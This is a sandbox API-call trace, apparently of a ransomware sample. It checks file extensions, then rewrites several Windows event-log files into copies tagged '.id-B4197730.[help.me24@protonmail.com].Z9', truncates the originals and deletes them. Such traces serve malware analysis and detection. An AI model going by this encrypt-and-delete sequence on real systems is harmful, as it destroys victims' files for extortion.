	[0078.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0078.867] lstrlenW (lpString=".doc") returned 4
	[0078.867] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.867] lstrlenW (lpString=".docx") returned 5
	[0078.867] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.867] lstrlenW (lpString=".pdf") returned 4
	[0078.867] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.867] lstrlenW (lpString=".xls") returned 4
	[0078.867] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.867] lstrlenW (lpString=".xlsx") returned 5
	[0078.867] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.867] lstrlenW (lpString=".ppt") returned 4
	[0078.867] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0078.867] lstrlenW (lpString=".zip") returned 4
	[0078.867] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.867] lstrlenW (lpString=".rar") returned 4
	[0078.867] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.867] lstrlenW (lpString=".bz2") returned 4
	[0078.867] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.867] lstrlenW (lpString=".7z") returned 3
	[0078.867] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0078.867] lstrlenW (lpString=".dbf") returned 4
	[0078.867] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0078.868] lstrlenW (lpString=".1cd") returned 4
	[0078.868] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0078.868] lstrlenW (lpString=".jpg") returned 4
	[0078.868] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.868] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.868] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46
	[0078.868] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.868] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0078.868] CloseHandle (hObject=0x35c) returned 1
	[0078.868] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20
	[0078.868] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.868] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.869] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.869] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.869] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0078.869] GetLastError () returned 0x0
	[0078.869] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0079.057] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0079.059] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.059] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x130, lpOverlapped=0x0) returned 1
	[0079.059] SetEndOfFile (hFile=0x2bc) returned 1
	[0079.059] CloseHandle (hObject=0x2bc) returned 1
	[0079.061] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.061] SetEndOfFile (hFile=0x35c) returned 1
	[0079.063] CloseHandle (hObject=0x35c) returned 1
	[0079.063] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0079.067] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1
	[0079.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0079.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0079.095] lstrlenW (lpString=".doc") returned 4
	[0079.095] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0079.095] lstrlenW (lpString=".docx") returned 5
	[0079.095] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0079.095] lstrlenW (lpString=".pdf") returned 4
	[0079.095] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0079.095] lstrlenW (lpString=".xls") returned 4
	[0079.095] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0079.095] lstrlenW (lpString=".xlsx") returned 5
	[0079.095] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0079.095] lstrlenW (lpString=".ppt") returned 4
	[0079.095] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0079.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0079.095] lstrlenW (lpString=".zip") returned 4
	[0079.095] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0079.095] lstrlenW (lpString=".rar") returned 4
	[0079.095] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0079.095] lstrlenW (lpString=".bz2") returned 4
	[0079.095] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0079.095] lstrlenW (lpString=".7z") returned 3
	[0079.095] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0079.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0079.095] lstrlenW (lpString=".dbf") returned 4
	[0079.095] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0079.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0079.096] lstrlenW (lpString=".1cd") returned 4
	[0079.096] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0079.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0079.096] lstrlenW (lpString=".jpg") returned 4
	[0079.096] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0079.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0079.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0079.096] lstrlenW (lpString=".doc") returned 4
	[0079.096] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0079.096] lstrlenW (lpString=".docx") returned 5
	[0079.096] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0079.096] lstrlenW (lpString=".pdf") returned 4
	[0079.096] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0079.096] lstrlenW (lpString=".xls") returned 4
	[0079.096] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0079.096] lstrlenW (lpString=".xlsx") returned 5
	[0079.096] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0079.096] lstrlenW (lpString=".ppt") returned 4
	[0079.096] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0079.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0079.096] lstrlenW (lpString=".zip") returned 4
	[0079.096] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0079.096] lstrlenW (lpString=".rar") returned 4
	[0079.096] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0079.096] lstrlenW (lpString=".bz2") returned 4
	[0079.096] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0079.096] lstrlenW (lpString=".7z") returned 3
	[0079.096] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0079.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0079.096] lstrlenW (lpString=".dbf") returned 4
	[0079.096] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0079.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0079.097] lstrlenW (lpString=".1cd") returned 4
	[0079.097] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0079.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0079.097] lstrlenW (lpString=".jpg") returned 4
	[0079.097] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0079.097] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0079.097] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55
	[0079.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.098] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0079.098] CloseHandle (hObject=0x35c) returned 1
	[0079.098] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20
	[0079.098] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0079.098] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.098] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.098] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.098] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0079.099] GetLastError () returned 0x0
	[0079.099] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0079.101] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0079.103] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.104] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x142, lpOverlapped=0x0) returned 1
	[0079.104] SetEndOfFile (hFile=0x2bc) returned 1
	[0079.104] CloseHandle (hObject=0x2bc) returned 1
	[0079.106] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.106] SetEndOfFile (hFile=0x35c) returned 1
	[0079.107] CloseHandle (hObject=0x35c) returned 1
	[0079.107] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0079.108] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1
	[0079.108] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0079.108] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0079.108] lstrlenW (lpString=".doc") returned 4
	[0079.108] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0079.108] lstrlenW (lpString=".docx") returned 5
	[0079.108] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0079.108] lstrlenW (lpString=".pdf") returned 4
	[0079.108] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0079.108] lstrlenW (lpString=".xls") returned 4
	[0079.108] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0079.108] lstrlenW (lpString=".xlsx") returned 5
	[0079.108] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0079.108] lstrlenW (lpString=".ppt") returned 4
	[0079.108] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0079.108] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0079.108] lstrlenW (lpString=".zip") returned 4
	[0079.108] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0079.108] lstrlenW (lpString=".rar") returned 4
	[0079.108] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0079.109] lstrlenW (lpString=".bz2") returned 4
	[0079.109] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0079.109] lstrlenW (lpString=".7z") returned 3
	[0079.109] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0079.109] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0079.109] lstrlenW (lpString=".dbf") returned 4
	[0079.109] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0079.109] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0079.109] lstrlenW (lpString=".1cd") returned 4
	[0079.109] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0079.109] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0079.109] lstrlenW (lpString=".jpg") returned 4
	[0079.109] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0079.109] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0079.109] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0079.109] lstrlenW (lpString=".doc") returned 4
	[0079.109] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0079.109] lstrlenW (lpString=".docx") returned 5
	[0079.109] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0079.109] lstrlenW (lpString=".pdf") returned 4
	[0079.109] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0079.109] lstrlenW (lpString=".xls") returned 4
	[0079.109] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0079.109] lstrlenW (lpString=".xlsx") returned 5
	[0079.109] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0079.109] lstrlenW (lpString=".ppt") returned 4
	[0079.109] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0079.110] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0079.110] lstrlenW (lpString=".zip") returned 4
	[0079.110] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0079.110] lstrlenW (lpString=".rar") returned 4
	[0079.110] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0079.110] lstrlenW (lpString=".bz2") returned 4
	[0079.110] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0079.110] lstrlenW (lpString=".7z") returned 3
	[0079.110] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0079.110] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0079.110] lstrlenW (lpString=".dbf") returned 4
	[0079.110] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0079.110] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0079.110] lstrlenW (lpString=".1cd") returned 4
	[0079.110] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0079.110] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0079.110] lstrlenW (lpString=".jpg") returned 4
	[0079.110] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0079.110] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0079.110] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49
	[0079.110] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.110] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0079.111] CloseHandle (hObject=0x35c) returned 1
	[0079.113] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20
	[0079.113] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0079.113] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.113] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.113] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.114] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0079.114] GetLastError () returned 0x0
	[0079.114] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0079.117] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0079.119] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.119] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x136, lpOverlapped=0x0) returned 1
	[0079.119] SetEndOfFile (hFile=0x2bc) returned 1
	[0079.119] CloseHandle (hObject=0x2bc) returned 1
	[0079.121] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.121] SetEndOfFile (hFile=0x35c) returned 1
	[0079.123] CloseHandle (hObject=0x35c) returned 1
	[0079.123] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0079.123] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1
	[0079.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0079.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0079.123] lstrlenW (lpString=".doc") returned 4
	[0079.123] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0079.123] lstrlenW (lpString=".docx") returned 5
	[0079.123] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0079.123] lstrlenW (lpString=".pdf") returned 4
	[0079.123] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0079.123] lstrlenW (lpString=".xls") returned 4
	[0079.123] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0079.123] lstrlenW (lpString=".xlsx") returned 5
	[0079.123] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0079.123] lstrlenW (lpString=".ppt") returned 4
	[0079.123] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0079.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0079.124] lstrlenW (lpString=".zip") returned 4
	[0079.124] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0079.124] lstrlenW (lpString=".rar") returned 4
	[0079.124] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0079.124] lstrlenW (lpString=".bz2") returned 4
	[0079.124] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0079.124] lstrlenW (lpString=".7z") returned 3
	[0079.124] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0079.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0079.124] lstrlenW (lpString=".dbf") returned 4
	[0079.124] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0079.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0079.124] lstrlenW (lpString=".1cd") returned 4
	[0079.124] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0079.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0079.124] lstrlenW (lpString=".jpg") returned 4
	[0079.124] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0079.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0079.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0079.124] lstrlenW (lpString=".doc") returned 4
	[0079.124] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0079.124] lstrlenW (lpString=".docx") returned 5
	[0079.124] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0079.124] lstrlenW (lpString=".pdf") returned 4
	[0079.124] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0079.124] lstrlenW (lpString=".xls") returned 4
	[0079.124] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0079.124] lstrlenW (lpString=".xlsx") returned 5
	[0079.124] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0079.124] lstrlenW (lpString=".ppt") returned 4
	[0079.124] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0079.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0079.125] lstrlenW (lpString=".zip") returned 4
	[0079.125] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
